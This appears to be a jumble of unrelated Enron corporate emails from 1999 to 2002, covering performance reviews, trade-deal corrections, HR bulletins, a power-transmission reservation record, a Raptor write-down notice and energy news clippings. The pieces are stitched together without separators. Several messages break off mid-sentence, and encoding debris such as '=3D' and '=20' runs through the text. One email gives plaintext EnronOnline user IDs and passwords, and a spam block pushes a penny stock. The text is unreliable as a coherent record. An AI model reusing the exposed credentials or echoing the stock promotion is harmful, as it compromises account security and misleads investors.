Start Date: 1/23/02; HourAhead hour: 18;  HourAhead schedule download failed. Manual intervention required.

I don't really have any datapoints for most of 2000 for Dan.

I guess I could see what Rick has said in the written form and sit in on the 
review so that we can make sure there is no confused message.

Any other suggestions in this awkward situation?

Alan

	03/09/2001 01:26 PM
		 
		 To: Alan Aronowitz/HOU/ECT@ECT
		 cc: 
		 Subject: performance review

Shouldn't you and Rick do that together so as not to have confusion.  Mark
----- Forwarded by Mark E Haedicke/HOU/ECT on 03/09/2001 01:25 PM -----

	Rick Bergsieker@ENRON_DEVELOPMENT
	03/09/2001 05:42 AM
		 
		 To: Daniel R Rogers/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
		 cc: Dave Hill/Enron@EnronXGate, Brenda J 
Johnston/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Mark E Haedicke@ECT

I have completed your written performance review and have put a signed 
original copy in the mail to you.  When you get it, contact Brenda to arrange 
for a time for us to talk.  After we talk, you will have to sign the original 
and forward it to Dave Hill.

EMPLOYEE NEWS LINE

ENRON POSTS JOBS
The company is reinstituting a job posting process to help fill open positions.  In the midst of restructuring, the number of job openings is understandably limited.   However, postings will be updated regularly.  Within the job posting system called jobOps, an employee can apply for a position by using their current employee profile as their resume or modify it to create an updated resume.  Employee's can still update their profile information in eHRonline.  At this time, only current employees will be able to apply for a position from within jobOps.  You may access current postings by visiting https://hrglobal.enron.com/JobOps.  The system can also be reached by clicking on the jobOps link from http://Home.enron.com or http:hrweb.enron.com.  

COMPANY RESUMES SERVICE AWARDS
Enron has resumed its Service Awards Program to recognize employees' years of service to the organization.  Employees in both debtor and non-debtor companies are eligible to receive service awards upon their employment anniversary every five years.  Employees who are nearing an employment anniversary or passed an anniversary while the program was suspended will soon receive by mail a brochure and order form that allows them to select their individual gift.  The selection of gifts has recently been updated yet still includes favorites such as pen and pencil sets, knives, jewelry or grandfather clocks depending on an employee's years of service to the company.  Service award notification, gift catalogues, and order forms will be available to eligible employees online in the near future.

I'm off tomorrow.  What are we doing?  Selling my Dad's wares and making a fortune?

I've changed both of these. Thanks a lot for the info - you know, I went 
through all of this before, even to the point of looking up the contract with 
Christian Yoder - but the traders need it beaten into their heads! I'll 
remind them, and we'll see what happens......

Kate

04/26/2001 03:36 PM
cc: Sharen Cason/HOU/ECT@ECT 

Subject: City of Oakland

the CP name is "The City of Oakland, a municipal corporation acting .... blah 
blah blah
---------------------- Forwarded by Rhonda L Denton/HOU/ECT on 04/26/2001 
05:35 PM ---------------------------
   
	From:  Sharen Cason                           04/26/2001 05:19 PM
	
cc: Rhonda L Denton/HOU/ECT@ECT 

593969 and 593970

These two deals are in as the wrong counterparty.  I am asking Rhonda to 
inactivate this name so he won't keep using it.  I think it is a real long, 
involved name starting with "the" rather than city of Oakland.  Go figure how 
someone alphabetizes!  Can you check into this.

Thanks!

I have a call in to Steve McCracken at CNR to find out if we will be getting
the CNR gas at TETCO M-2 for Jan.

Phil

Here is the final version.

---------------------- Forwarded by Maureen McVicker/HOU/EES on 07/23/99 
04:18 PM ---------------------------

Jeffrey Keeler@ENRON
07/23/99 04:19 PM

To: Steven J Kean/HOU/EES@EES
cc: Mark E Haedicke/HOU/ECT@ECT, Mark - ECT Legal Taylor/HOU/ECT@ECT, Kevin P 
Hannon/HOU/ECT@ECT, Cynthia Sandherr/Corp/Enron@Enron, Joe 
Hillings/Corp/Enron@Enron, Maureen McVicker/HOU/EES@EES, Amy 
Fabian/Corp/Enron@Enron 
Subject: Final Version - Talking Points for Ken Lay - Larry Summers

Attached is the final copy of talking points Mark Taylor and I prepared for 
Ken Lay's call to Larry Summers at Treasury on the OTC derivatives issue.

This is Ok as per John Lavorato.  Please proceed with giving access to Chris 
Lambie.

Tara Sweitzer
02/18/2000 08:53 AM
To: Chris Lambie/CAL/ECT@ECT
cc: John J Lavorato/CAL/ECT@ECT, Attila Pazmandi/CAL/ECT@ECT 
Subject: EnronOnline Desk to Desk Id and Password

 John, If you could ok the two id's for Chris I would appreciate it.  If you 
could return the email  with an ok, that will do.  Thank you!

Chris,

The FT-Canada - EGSC  book has been set up as an internal counterparty for 
desk-to-desk trading on EnronOnline. 

The following User ID and Password will give you access to live prices on the 
web-site http://www.enrononline.com.

User ID: ADM68445
Password: WELCOME5

(note these are case sensitive)

Stack Manager access:

User ID: clambie
Password: clambie

Please keep you User ID and Password secure as this allows you to transact on 
EnronOnline.

Contact the helpdesk at x34357 if you have any questions or problems gaining 
access with this ID.

Thanks
TARA
x34523

This request has been pending approval for  11 days and you are the alternate.  Please click http://itcapps.corp.enron.com/srrs/auth/emailLink.asp?ID=000000000078935&Page=Approval to review and act upon this request.

Request ID          : 000000000078935
Approver            : sandeep.kohli@enron.com
Request Create Date : 12/11/01 10:27:11 AM
Requested For       : miguel.l.garcia@enron.com
Resource Name       : \\enehou\houston\common\Research - [Read]
Resource Type       : Directory

Steve,

Thanks for the phone call a couple of weeks ago.  My wife and I will have a
chance to see Houston this weekend as part of Enron's Sell Weekend.  A team
of Enron employees including some Darden alums has planned many activities
for us this weekend.  It's a great opportunity for her to know the city and
I am sure we'll have a good time.  Hope everything is well.

Steve Pan
Darden Business School, Class of 2001
University Of Virginia
148 Ivy Drive #10
Charlottesville, VA 22903
Tel (804) 977-3620

Please note some changes to the 2002 Budget Review meeting on Thursday, August 16th @ 9:00 in 49C2.  

With the recent announcements and changes, Danny suggested that the meeting break at 10:00 to attend the Enron All-Employee meeting and reconvene at 11:00.  The meeting will be extended till 1:30 to accommodate the break.
If you have any questions, please call me at x33597.  Thank you.

Thursday, August 16th @ 9:00 in 49C2
9:00	Meeting begins
10:00	Enron All-Employee meeting @ The Hyatt - Imperial Ballroom
11:00	Meeting reconvenes
11:30	Lunch served
1:30	Meeting is adjourned

Sent:	Thursday, August 09, 2001 10:21 AM
To:	Gadd, Eric; Harris, Steven; Hayes, Robert; Neubauer, Dave; Geaccone, Tracy; Keiser, John; Gilbert, Steve; Kilmer III, Robert; Miller, Mary Kay
Cc:	Wadle, Susan; Robertson, Audrey; Salinas, Marian; Cappiello, Deborah; Campos, Kathy
Subject:	2002 Budget Review - Thursday, August 16th @ 9:00

As a follow-up to John Keiser's invitation, please note the 2002 Budget Review for the commercial group meeting on Thursday, August 16th from 9:00 - 1:00 in 49C2.  

Lunch will be served.

Please call me at x33597 if you have any questions.  Thank  you.

Fran, I think we should get together tomorrow to discuss the issues around 
this deal.  Could you get with Twanda to do that?  THanks.  MIchelle

	Fran L Mayes
	10/30/2000 08:58 AM
	
cc: Craig Hiddleston/Corp/Enron@ENRON, Rick Johnson/HR/Corp/Enron@ENRON, 
Dolores Lenfest/HR/Corp/Enron@ENRON 
Subject: Re: Toucan Meeting -- Tuesday Afternoon  

Kathy Neal and I will attend the meeting on Tuesday.

Fran

10/29/2000 03:15 PM
To: Craig Hiddleston/Corp/Enron@ENRON
cc: Rick Johnson/HR/Corp/Enron@ENRON, Fran L Mayes/HOU/ECT@ECT, Dolores 
Lenfest/HR/Corp/Enron@ENRON 

Craig,

We were supposed to have a conference call with labor/employment personnel 
early next week.  Has that been scheduled yet?  Also, I will not be able to 
attend at 4:00 on Tuesday, but will see if someone from HR/benefits can be 
there.

Michelle

Craig Hiddleston@ENRON
10/27/2000 06:36 PM
To: Michelle Cash/HOU/ECT@ECT, Fran L Mayes/HOU/ECT@ECT, Dolores 
Lenfest/HR/Corp/Enron@ENRON, Rick Johnson/HR/Corp/Enron@ENRON, Kathy 
Neal/NA/Enron@ENRON, Peter del Vecchio/HOU/ECT@ECT, Tommy J 
Yanowski/HOU/ECT@ECT, Richard Zamora/NA/Enron@Enron, David 
Marshall/HOU/ECT@ECT, Rhett Jackson/HOU/ECT@ECT, Eric Connor/NA/Enron@Enron, 
Robert E Anderson/HOU/ECT@ECT, Susan 
Worthen/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Don 
Stevens/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Ken Curry/HOU/ECT@ECT, Steve 
Gim/NA/Enron@Enron, Michael Simmons/HOU/ECT@ECT, Karen L Barbour/HOU/ECT@ECT
cc: Dwight Beach/HOU/ECT@ECT 
Subject: Toucan Meeting -- Tuesday Afternoon

Please attend a meeting in EB2988 at 4 pm on Tuesday, October 31st. If you 
are unavailable to attend please have someone represent you at the meeting.

The plan for the meeting is to:

Go through individuals' findings regarding completeness of information 
available in data room binders, issues encountered that my impact the value 
of the assets to Enron, and any additional information required for Leaf 
River and Woodland.
Provide an update regarding the status of Woodland and deal stopper issues.

The issue relating to Woodland and the hesitancy to fully proceed on the due 
diligence relates to two potential deal stoppers -- security of fiber supply 
and labor union issues. Our preference was to better understand these issues 
before fully engaging in the due diligence process, and incurring the 
associated costs, but the constrained timing has limited our ability to 
accomplish that. At this stage it appears as though we will proceed to submit 
a mid-November bid, and therefore we should proceed with all necessary due 
diligence for Woodland.

Craig

  <http://isc.dev.corp.enron.com/surveyVPN/images/index_r1_c1_r1_c1.gif>	 	
Now that you have access to the following applications without requiring VPN access...

Outlook Web Access (email and calendar)

PEP

XMS (Expense Reporting application)

And, COMING SOON...
eHROnline (year-end)
Benefits Election (Oct. 29, 2001)
Electronic Pay Stubs (year-end), and
Much More,

through the ClickAtHome Portal and the Internet, do you still believe you need remote access through VPN from home to Enron networks (must have a valid business reason with supervisor approval and a monthly cost)?

 YES NO NOT SURE
Please answer this survey from your computer at work, not via Outlook Web Access.

Jeff, FYI and consideration, here is another speaking oppt!  Jeff S. is the 
keynote and our group has participated with Bob, Suzanne's husband, before.  
This is the conference when we came out with EOL last year.
mike
---------------------- Forwarded by Mike McConnell/HOU/ECT on 08/02/2000 
08:20 AM ---------------------------

"Bob Nimocks" <bnimocks@zeusdevelopment.com> on 07/24/2000 08:23:15 AM
To: <Mike.McConnell@enron.com>
cc:  
Subject: RE: Interactive Energy; Jeff Skilling and Interactive Texas 
introduction

Thanks, Mike. I know you keep a packed schedule.  We'll work to accommodate
it.
Bob

From: Mike.McConnell@enron.com [mailto:Mike.McConnell@enron.com]
Sent: Sunday, July 23, 2000 9:44 AM
To: bnimocks@zeusdevelopment.com
Subject: Re: Interactive Energy; Jeff Skilling and Interactive Texas

Bob,

Thanks for the email and invitation.  I am out of the office traveling
right now and must get back to you on my availability.

Mike

"Bob Nimocks" <bnimocks@zeusdevelopment.com> on 07/20/2000 04:05:27 PM

To:   <Mike.McConnell@enron.com>
cc:
Subject:  Interactive Energy; Jeff Skilling and Interactive Texas
      introduction

Mike,

I'm putting together the keynote session for Interactive Energy and
wondered
if you'd be available on Tuesday morning between 8-11, October 24, at the
Houston Adam's Mark.  It'll give you an excuse to sleep late in your own
bed!

I envision a panel of the heads of e-business and technology at several
major companies, including Don Paul from Chevron, John Leggate from BP
Amoco, Bob Peebler from Haliburton and one or two others, to discuss a
range
of key issues.  Little if any advance preparation would be needed on your
part.

We're trying to get either or both Keith Krach from Ariba and Mark Hoffman
from Commerce One to provide the opener.  If both accept, we will probably
have one deliver in the morning and the other at lunch.  Or maybe we'll
have
a mud wrestling contest.

Finally, we're much closer to Interactive Texas and wanted to see if there
is anything you'd like mentioned about Enron technology initiatives during
Jeff's introduction.  My wife Suzanne will be doing the intro.  She will
have a wealth of broader market statistics, but you may have some
milestones
you'd like mentioned about EOL's progress or something else suited to this
Texas business and government audience.

Look forward to your reply.

Thanks,

Bob

Sent: Monday, May 22, 2000 2:20 PM
Subject: Re: Excellent presentation this morning

Bob, thanks for the feedback and I enjoyed catching up as well.  Chris and
I both enjoyed our discussion and introductions at the dinner too.

As far as the 9 initiatives, that number includes all of our activities not
just new ones.  We don't have 9 being cranked out in 90 days, at least not
yet!

When we get closer to your conference, I would be happy to give you a count
for your intro. with Jeff.

Thanks,
Mike

"Bob Nimocks" <bnimocks@zeusdevelopment.com> on 05/17/2000 12:51:47 PM

To:   "Mike McConnell" <Mike.Mcconnell@enron.com>
cc:
Subject:  Excellent presentation this morning

Mike,

Good to catch up with you and congratulations on a fine opener this
morning.
I think I heard you say that Enron currently has nine e-business ventures
underway and your development cycle from concept to implementation is just
90 days.

I would like to use these factoids in Jeff's introduction unless I heard
you
incorrectly.

Bob Nimocks

P.S. We're beginning to assemble the program for Interactive Energy 2000,
Oct. 23-26, in Houston.  I will e-mail you an invitation to participate on
the senior management panel Tuesday morning Oct 24th.

Hi Steve,

Thanks for the FYI; I'd be happy to interview him if you need a second 
opinion at the telephone interview you're arranging next week.

Regards,

Anjam

29/03/2000 17:19
To: Anjam Ahmad/LON/ECT@ECT
cc:  

Subject: Re: here it goes!

---------------------- Forwarded by Steven Leppard/LON/ECT on 03/29/2000 
05:20 PM ---------------------------

03/29/2000 03:45 PM

Subject: Re: here it goes!  

Steve,

Taking summer interns is the best way to screen and identify good candidates
at low cost and low risk. I would take this person in,
assuming you can still run it by the Analyst/Associate program. They closed 
the books
for the summer.

Let me know if you run into any roadblock. I shall try help you from here.

Vince

03/29/2000 08:31 AM
cc:  
Subject: here it goes!

Vince

Do you have any views on taking summer interns here in the Research group in 
London?  One of our Analysts has recommended a friend of hers (resume 
attached).  I'm sure we could dream up some work for an intern, so let me 

Steve
03:30 PM ---------------------------

Zuzana Strmenova
02/23/2000 10:51 AM
cc:  

Thanks, a lot Steve.

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
As requested, your News Alert for YHOO
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=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-

Looking for an emerging growth company expanding into China.

Search no more. Kanakaris Wireless (OTC BB: KKRS) recently signed
a contract  to begin airing TV commercials in China, no later than
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For more information on the worldwide rollout, and its compelling
impact on cinemapop.com, click here at
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AOL USERS: copy & paste the link above into your browser.

ChefShop.com Chosen as Best Food Site by Yahoo! Internet Life
Magazine=0F=3DChefShop.com Supplants Tavolo.com to Be One of 13 Best Shoppi=
ng Sites
of 2000

SEATTLE, Dec 13, 2000 /PRNewswire via COMTEX/ -- Yahoo! Internet Life has=
=20
named
ChefShop.com the Best Food site on the Web. Yahoo! Internet Life evaluated
hundreds of sites according to content, convenience, community, commerce an=
d
customer care. ChefShop.com beat out Yahoo's prior favorite site, Tavolo.co=
m,
and all other sites to be designated Best Food site of 2000.

Yahoo! Internet Life magazine chose ChefShop because of its superb inventor=
y=20
and
exemplary customer service. Yahoo! likens ChefShop to "a gourmet boutique=
=20
filled
with goodies that would excite even professional chefs."

"Product descriptions are well-written, informative, succinct,
fun-to-read-beating out Tavolo's by a taste bud," writes Leslie Brenner. "S=
ite
design is clean, attractive and intelligent, with a category list that rema=
ins
on the left side of the page as you browse, so it's always easy to go=20
elsewhere
in one click. The site also provides exemplary customer service, efficient
handling of orders, and timely shipping at very reasonable prices."

"ChefShop.com is thrilled to be chosen Best Food site on the Web by Yahoo!
Internet Life," says ChefShop.com president and CEO Tim Mar. "ChefShop's=20
mission
is to share our passion for cooking and eating high-quality food. We offer=
=20
1,500
imported and domestic hand-chosen, gourmet specialty foods and ingredients
including vintage-dated olive oils, organic marmalades, artisan pastas and
exotic teas. ChefShop believes strongly in our message -- Eat Simply, Eat=
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About ChefShop.com

ChefShop.com offers 1,500 of the finest quality artisan-produced gourmet=20
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advice, and seasonal information. ChefShop.com offers convenient, easy and
secure online ordering from its website, or stop by our shop at 1435 Elliot=
t
Avenue West, in Seattle. Customers can also order via fax, 206-282-5607,=20
phone,
toll free, 877-337-2491, or email, shopkeeper@chefshop.com. This holiday=20
season,
"Eat Simply, Eat Well!"(TM)

SOURCE ChefShop.com, Inc.

CONTACT:          Kristina Kolerich, 253-735-5620, or kkolerich@msn.com, or
Wendy Ellis, 425-837-9305, or wendyruns@msn.com, both for ChefShop.com, Inc=
.

URL:              http://www.chefshop.com
http://www.prnewswire.com

(C) 2000 PR Newswire.  All rights reserved.

-0-

KEYWORD:          Washington
INDUSTRY KEYWORD: FOD
MLM
REA

http://205.210.134.51/a1.asp?ID=3D1269aa

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Reservation status has changed to RECEIVED. See attachment.

ASSIGNMENT_REF = 30640
SELLER_CODE = AZPS
SELLER_DUNS = 958982563
CUSTOMER_CODE = EPMI  
CUSTOMER_DUNS = 848921276
AFFILIATE_FLAG = 0
PATH_NAME = W/AZPS/AZPS-AZPS/FOURCORNE345 - PNPKAPS230//
POINT_OF_RECEIPT = FOURCORNE345
POINT_OF_DELIVERY = PNPKAPS230
SOURCE = FOURCORNERS
SINK = PNPK
CAPACITY = 0
CAPACITY_REQUESTED = 25
SERVICE_INCREMENT = HOURLY
TS_CLASS = FIRM
TS_TYPE = POINT_TO_POINT
TS_PERIOD = OFF_PEAK
TS_WINDOW = FIXED
TS_SUBCLASS = WHEEL
NERC_CURTAILMENT_PRIORITY = Nerc Priority 1
OTHER_CURTAILMENT_PRIORITY = Default
START_TIME = 06/01/2002
STOP_TIME = 06/01/2002
CEILING_PRICE = 1.95
OFFER_PRICE = 3.13
BID_PRICE = 3.13
PRICE_UNITS = $/mW  
PRECONFIRMED = YES
ANC_SVC_LINK = N/A
ANC_SVC_REQ = N/A
POSTING_REF = 0
SALE_REF = 
REQUEST_REF = 
DEAL_REF = 
NEGOTIATED_PRICE_FLAG = 
STATUS = RECEIVED
STATUS_NOTIFICATION = lisa.gang@enron.com
STATUS_COMMENTS = 
TIME_QUEUED = 05/30/2002
RESPONSE_TIME_LIMIT = 
TIME_OF_LAST_UPDATE = 05/30/2002
PRIMARY_PROVIDER_COMMENTS = 
SELLER_COMMENTS = 
CUSTOMER_COMMENTS = FOR INFO PLEASE CALL (503)464-5070.
SELLER_NAME = AZPS
SELLER_PHONE = 602.250.1128
SELLER_FAX = 602.250.1155
SELLER_EMAIL = oasisadm@apsc.com
CUSTOMER_NAME = Enron Power Marketing, Inc.
CUSTOMER_PHONE = (713)853-3801
CUSTOMER_FAX = (713)646-8272
CUSTOMER_EMAIL = bill.rust@enron.com
REASSIGNED_REF = 0
REASSIGNED_CAPACITY = 0
REASSIGNED_START_TIME = 
REASSIGNED_STOP_TIME =

Hopefully this will cheer you ( just a little)!
---------------------- Forwarded by Andrea Ring/HOU/ECT on 10/18/2000 03:28 
   
	From:  Jared Kaiser                           10/17/2000 03:10 PM
	
To: John Craig Taylor/HOU/ECT@ECT, Andrea Ring/HOU/ECT@ECT, Susan W 
Pereira/HOU/ECT@ECT
cc:  
Subject: Fw: cat clip............

---------------------- Forwarded by Jared Kaiser/HOU/ECT on 10/17/2000 03:10 

"David Kaiser" <davidk@spawglass.com> on 10/17/2000 08:21:23 AM
To: "Jared @ Enron" <jkaiser@enron.com>
cc:  

From: Heidi Jo Warnick <hwarnick@spawglass.com>
To: David Kaiser <Davidk@spawglass.com>
Sent: Friday, October 13, 2000 2:28 PM
Subject: cat clip............

> Just  a thought to cheer you up after hauling around all those plans.
>
> Heidi Jo Warnick
> Estimating Secretary
> SpawGlass Contractors, Inc.
>

 - SCCat.MPG

Join Mike McConnell on eSpeak at ethink.enron.com, Wednesday, February 23 a=
t=20
10:00 a.m. Houston time!  Mike, Enron's CEO of Global Technology, will be=
=20
answering your questions about the functions of the new Technology=20
organization and Enron's e-commerce activities.

Are you at a remote location or can't make the event? Go into eSpeak now an=
d=20
pre-submit your question(s) for Mike to answer during the scheduled event. =
=20
We want to answer everyone's questions, but due to the high volume of=20
questions we anticipate on this session, it would be helpful if you can kee=
p=20
your questions short and simple.  This will increase the opportunity for yo=
ur=20
question to be answered.

You can also still read the transcripts of previous eSpeak sessions with Ke=
n=20
Lay, Jeff Skilling, Joe Sutton, Amy Oberg, Cindy Olson, Cliff Baxter/Greg=
=20
Whalley, Tom Gros and Jim Bannantine =01) just go back into eSpeak and clic=
k on=20
the "Archives" button on the right hand corner of the screen.

We want to know what you eThink!

Your interaction and feedback will impact the development of the eThink sit=
e,=20
so please send your comments, suggestions or ideas to ethink@enron.com.

eThink: Invest Your Mind

1. 468359 is Mike Swerzbin's deal. He entered it incorrectly in his log. It's 
changed now.

2. 468404 and 468405 - Bob Badeer was given the wrong numbers by Amerex. He's 
changed the deals to reflect Amerex numbers.

3. 468302 is Donald Robinson's deal. I'm tracking him down right now to check 
on the term.

4. 468427 is $177, not $197. Jeff has really bad handwriting. I'll change 
this as soon as the calc is done (about 30 min.).

5. I've left Jeff a message - he's at an off-site meeting today and is 
probably giving a speech right now.l I don't see these deals in his trade 
log, so I really need to talk with him in order to find out whether or not he 
did them and where they might be.

Thanks,
Kate

11/28/2000 02:11 PM
cc:  

Subject: 11-28-00 Discrepancies

Matt Motley
deal 468359
error:  Amerex shows Enron as seller not buyer

Bob Badeer
deal 468404
error:  Amerex shows price as $134.50 not $134.45

Bob Badeer
deal 468405
error:  Amerex shows price as $134.55 not $135.00

deal 468302
error:   Prebon shows December only

deal 468427
Prebon shows price as $177 not $197

I am missing the following deals per Prebon:
Enron sells to Tractebal Q3 PV at $175
Enron buys from Tractebal Q3 SP-15 at $145

Thanks!!

 On the 12/11 MPR to be issued on 12/12, we will be taking a $56 million loss 
on Catalytica Energy Systems.  This asset will begin trading on the open 
market either Friday, 12/15 or Monday, 12/18 under the ticker CESIV.  The 
potential trading range of $10 - $20 per share is disclosed in the company's 
S-1.  This asset is in Raptor I and therefore this write-down will exhaust 
$56 M of the remaining Raptor I capacity.

 Please call me at x3-6983 with questions.

USA: Transwestern plans expansion at Ariz. compressor stations.
Reuters English News Service, 03/29/01

Enron Unit Files Application For $93M Expansion Project
Dow Jones News Service, 03/29/01

El Paso's Calif Gas Play Was Smart,Not Crooked -Analysts
Dow Jones Energy Service, 03/29/01

USA: Maytag farms out energy buying to TXU in 5-year deal.

EPA's Next Challenge: What to Do About Lead Emissions (Update1)
Bloomberg, 03/29/01

Enron team trying to keep ahead of MS 150 pack 
Houston Chronicle, 03/29/01

03/29/2001

NEW YORK, March 29 (Reuters) Transwestern Pipeline Co. (TW), a unit of Enron 
, said in a statement on Thursday it planned to install new compression at 
four existing stations in Arizona to boost gas deliveries to energy-starved 
California. 
The company said it had filed an application with the Federal Energy 
Regulatory Commission (FERC) to expand its system by 150 million cubic feet 
per day (mmcfd) of incremental firm capacity.
TW's total capacity to the California border will increase to 1.24 billion 
cubic feet per day (bcfd). 
The $93 million project is expected to be in service by June 2002. 
"This expansion is a start in meeting the increased demand in California and 
represents additional capacity that can be brought on-line by next summer. 
Transwestern also plans a more extensive expansion in the future," said Stan 
Horton, chairman of Enron Transportation Services Company.

Dow Jones News Service

HOUSTON -(Dow Jones)- Enron Corp.'s (ENE) Transwestern Pipeline Co. unit 
filed an application with the Federal Energy Regulatory Commission for a $93 
million expansion project, expected to be in service by June 2002. 
In a press release Thursday, the company said it would install new 
compression at four existing stations in Arizona to expand the system by 150 
million cubic feet per day, or MMcf/d, of incremental firm capacity.
Transwestern Pipeline's total capacity to the California border will increase 
to 1.24 billion cubic feet per day. 
Transwestern Pipeline consists of about 2,500 miles of pipeline with 1.7 
Bcf/d of peak capacity. 
Shares of Enron closed at $55.31, down $2.79, or 4.8% on Nasdaq volume of 5.7 
million shares. Average daily volume is 4.2 million shares. 
Enron, which had 2000 revenue of $101 billion, markets electricity and 
natural gas. 
Company Web site http://www.enron.com 
-Karen M. Chow; Dow Jones Newswires; 201-938-5400

By John Edmiston

OF DOW JONES NEWSWIRES 

HOUSTON -(Dow Jones)- When El Paso Merchant Energy bought up most of the 
capacity on a key natural gas pipeline to California, it was taking a 
"gamble" on higher profits, not trying to corner a market, analysts said.
The auction in which El Paso Merchant Energy bought the capacity from fellow 
El Paso Corp. (EPG) affiliate El Paso Natural Gas was legitimate, and supply 
and demand factors proved the decision sound, they said. 
"El Paso took a gamble on its pipeline capacity, and the fundamentals worked 
out to support their trading position," said Kyle Cooper, an energy analyst 
with Salomon Smith Barney in Houston. 
California officials, struggling to cope with soaring power prices that have 
been driven higher in part by spiking prices of natural gas, see things 
differently. The El Paso pipeline is one of only two main links feeding 
energy from the Southwest's natural gas storage pools into California, and 
state officials contend the Houston-based energy company was trying to 
manipulate the price of gas in the state when it bought up capacity in an 
auction early last year. 
Natural gas in southern California has traded much higher than gas in 
northern California in recent months. At their highest, in December, the 
price of gas in southern California spiked to $60 per million British thermal 
units, six times the cost of gas at the other end of the pipeline in Texas. 
Prices spiked again in February and March and remain much higher than the 
price of gas in producing regions. 
The U.S. Federal Energy Regulatory Commission Wednesday rejected a complaint 
from the California Public Utilities Commission alleging that El Paso Natural 
Gas skewed the bidding process for critical natural gas pipeline capacity 
into California. But the commission ordered an administrative hearing to 
address concerns that El Paso controls too much pipeline capacity and is 
driving up prices at the California border. 
The California Legislature was to examine the allegations in its own series 
of hearings next week. On Monday, The New York Times weighed in, reporting 
that sealed documents filed with FERC suggest El Paso sought to increase its 
profits by manipulating natural gas price spreads between its supply basins 
in Texas and New Mexico and the California energy markets. 
Charlie Sanchez of Gelber & Associates in Houston said it's unlikely any 
wrongdoing will be uncovered. "This market has become so complicated that 
many don't know the objectively correct answer to the questions at hand," 
Sanchez said. "It's likely the forces at work will be deemed perfectly 
legal." 
El Paso spokesman Aaron Woods referred requests for comment to previous 
denials of manipulation. 

Charges Are Political - Analyst 

California's charges against are politically motivated, said Ron Barone, an 
analyst with of UBS/PaineWebber Inc. in New York. 
"California needs more pipeline capacity, more power plants, less 
finger-pointing and less resistance to rate hikes that would immediately 
trigger a demand response," Barone said. 
The state's gas-transportation shortfall wasn't always apparent. Before last 
year, capacity into California was considered oversupplied, El Paso 
executives say: Demand didn't cover available capacity, so the company 
discounted its prices. California entities have failed to bid realistically 
to renew capacity in auctions over the past three-and-a-half years, Barone 
said, even when cost of that capacity was substantially below the rates 
allowed by regulations. 
For years the capacity on El Paso's line to California never made money, 
Cooper said. As a result, there was little incentive for anyone to build new 
pipelines. 
Demand from power generators has pushed up the state's appetite for gas. 
According to John Somerhalder, president of El Paso's Pipeline Group, 
requests for gas capacity on pipeline expansions into California are running 
more than 12 times what they were a year ago. 
"El Paso had the foresight to take a calculated risk on the value of that 
capacity and it worked in their favor," Cooper said. "If those fundamentals - 
a normal winter and excess demand and lessened storage capacity across the 
country - hadn't worked out, they'd have lost that 8 cents Dynegy was willing 
to pay them." 
El Paso Merchant Energy reported year 2000 earnings before interest and taxes 
of $563 million, nearly a six-fold increase from adjusted earnings before 
interest and taxes the year before. 
El Paso has said that it couldn't take advantage of the price spikes 
allegedly produced by market manipulation, because it began hedging its risk 
in the middle of last year by selling its gas forward to third parties. By 
the end of the year, it was nearly 90% hedged, Barone said. 
"This hedging capacity is proof that once El Paso actually had capacity, it 
didn't seek to exploit its position to the degree it could have," Barone 
said. 
El Paso has also denied restricting capacity to push up prices, saying that 
it used "virtually all" of its available capacity to move gas to California. 
Higher energy prices have weighed in on much of the nation this winter, and 
experts expect gas futures prices will peak around $8 per million British 
thermal units later this year. 
Shares in El Paso closed Wednesday up $1.12 at $63.85, compared with a 
52-week high of $75.30. 
Enron Corp.'s (ENE) Transwestern Pipeline covers a similar route to 
California markets. In that case, however, capacity was bought by a number of 
companies with smaller positions. 
-By John Edmiston, Dow Jones Newswires; 713-547-9209; 
john.edmiston@dowjones.com

SAN FRANCISCO, March 29 (Reuters) - Maytag Corp. the No. 3 U.S. appliance 
maker, said Thursday it signed a five-year energy management deal with a TXU 
Corp. unit, following in the steps of a host of other companies trying to cut 
energy costs and boost profits. 
Under the agreement, subsidiary TXU Energy Services will buy or negotiate 
contracts for natural gas, electricity, coal, fuel oil and propane and 
provide consolidated billing and risk management for 14 Maytag manufacturing 
facilities, TXU said in a statement.
The deal, whose financial terms were not made available, is expected to 
provide Newton, Iowa-based Maytag with significant savings on energy 
expenditures by increasing the energy efficiency and reliability of 
manufacturing facilities, both companies said. 
"By consolidating and analyzing multiple bills for facilities in 10 different 
states and Mexico, we can identify problems and come up with individual 
changes that will help lower Maytag's total utility costs," Ken Breeden, 
president of TXU Energy Services commercial and industrial division, said in 
the statement. 
Dallas, Texas-based TXU serves more than 8,000 customers in 33 states and has 
completed more than 3,500 energy management projects nationwide, including a 
10-year multimillion dollar energy management agreement in February with 
Aperian Inc. , an Internet service solutions provider. 
Manufacturers nationwide have seen profit margins squeezed in the past 
several months due to a host factors, including high energy costs, excess 
capacity, a decline in exports due to the strength of the dollar and sagging 
consumer confidence. 
Another company that recently signed an energy management deals is drug maker 
Eli Lilli and Co. , which signed a 15-year deal in February with Enron Energy 
Services, a unit of Enron Corp. , to manage its supply of power and natural 
gas. 
Enron Energy Services has also signed deals with the North American arm of 
British glassmaker Pilkington Plc ; Owens-Illinois , one of the world's 
largest glass and plastics makers; and Quaker Oats Co. , a the maker of 
cereal and sports beverages. 
Enron Energy Services currently manages energy at more than 28,500 customer 
sites.

2001-03-29 16:28 (New York)

     (Adds cost estimates for compliance in ninth paragraph.)

     Washington, March 29 (Bloomberg) -- A coalition representing
mining, coal, chemical and electrical companies has asked U.S.
Environmental Protection Agency Administrator Christie Whitman to
delay new rules aimed at reducing lead pollution.
     The rules, among dozens issued in the last days of President
Bill Clinton's administration, would require companies that use
more than 100 pounds of lead per year to publicly report any
emissions into the air, water and soil. The right-to-know rules
currently apply only to users of more than 10,000 pounds.
     Among the companies that may be affected by the rules are
Edison International, American Electric Power Co., Barrick Gold
Corp., Enron Corp., and FMC Corp.
     The lobbying effort on lead follows EPA 's decision last week
to block new regulations lowering the permissible level of arsenic
in water, President George W. Bush's decision to abandon the 1997
global warming treaty, and Bush's move to break a campaign promise
to regulate carbon dioxide emissions.
     Environmental groups have criticized those actions and say a
reversal of the lead rule would be another blow to public safety.
     ``We would react to this as a major assault on the public's
right to know,'' said Paul Orum, director of the Working Group on
Community Right-to-Know.
     Whitman has until April 17 to decide.

                          Lobbying Clout

     Seventy-three associations that represent oil refiners,
manufacturers, electrical power producers, mining companies,
battery makers, and lead smelters, said in a March 1 letter to
